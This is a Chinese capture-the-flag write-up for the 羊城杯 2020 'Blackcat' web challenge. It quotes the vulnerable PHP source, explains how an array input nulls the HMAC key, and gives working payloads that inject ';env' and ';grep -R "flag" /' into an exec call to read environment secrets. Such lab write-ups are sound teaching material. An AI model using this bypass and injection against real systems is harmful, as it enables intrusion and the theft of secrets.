[羊城杯 2020]Blackcat

1.打开f12查看源码,发现mp3文件,点进去访问到最后发现页面部分的代码。

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

2.首先是我们传入的两个变量$_POST['Black-Cat-Sheriff']$_POST['One-ear']不能为空。其次就是判断$_POST['White-cat-monitor']是否存在,是则第二个加密私钥$clandestine$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);的值,否则第二个加密私钥的值就是环境变量的getenv("clandestine");

3.由于我们需要让sha256加密后的$_POST['One-ear']值等于我们传入的$_POST['Black-Cat-Sheriff'],才能成功执行传入的$_POST['One-ear']

4.所以我们要让加密的公钥是我们可知的,环境变量中的公钥我们肯定是不可知的。我们只能让$_POST['White-cat-monitor']用sha256加密后的值作为公钥,那么我们也就只需要让加密后的$clandestine值是可以被我们知道的。本地demo测试,它是不能加密数组的,否则就会报错。可以利用这一点传入White-cat-monitor[]=,这样就能让生成的加密公钥$clandestine为空,从而达到下面if判断为假。

//demo
<?php
$test[1]= "";
$clandestine = "key";
$q=hash_hmac('sha256', $test, $clandestine);
$a=';grep -R "flag" /';
echo hash_hmac('sha256', $a,$q);

5.传入payload,最后搜索目录没找到,查看环境变量发现flag:One-ear=;env&White-cat-monitor[]=&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b

Logo

欢迎加入我们的广州开发者社区,与优秀的开发者共同成长!

更多推荐